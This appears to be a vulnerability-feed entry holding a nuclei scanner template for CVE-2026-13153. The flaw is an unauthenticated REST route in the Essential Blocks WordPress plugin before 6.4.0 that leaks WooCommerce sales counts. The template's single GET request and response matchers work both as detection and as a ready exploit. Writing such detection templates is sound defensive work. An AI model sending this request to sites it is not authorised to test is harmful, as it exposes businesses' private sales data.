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Essential Blocks < 6.4.0 - Information Disclosure

🗓️ 18 Sep 2026 08:51:42Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Unauthenticated info disclosure in Essential Blocks < 6.4.0 exposing WooCommerce sales via REST.

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id: CVE-2026-13153

info:
  name: Essential Blocks < 6.4.0 - Information Disclosure
  author: str4k3r
  severity: medium
  description: |
    Gutenberg Essential Blocks WordPress plugin < 6.4.0 contains an information disclosure caused by unrestricted access to a public REST route exposing non-public WooCommerce sales metrics, letting unauthenticated users read product sales data.
  impact: |
    Unauthenticated users can access sensitive sales metrics, potentially exposing business-sensitive information.
  remediation: |
    Update to version 6.4.0 or later.
  reference:
    - https://wpscan.com/vulnerability/0401a229-9630-49ab-ae4b-53360cf5d109/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13153
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-13153
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,wp-plugin,essential-blocks,woocommerce,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/essential-blocks/v1/products?per_page=20"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sold_count":'
          - '"title"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d3191390c59ce4892c7d39c4fffaca161cfc91a157c6db65b221496717e29030022019cd7979b2a77a430ca6f1d6416bffb6589da8ce0ecee246613d1ffc4002bcf0:922c64590222798bb761d5b6d8e72950

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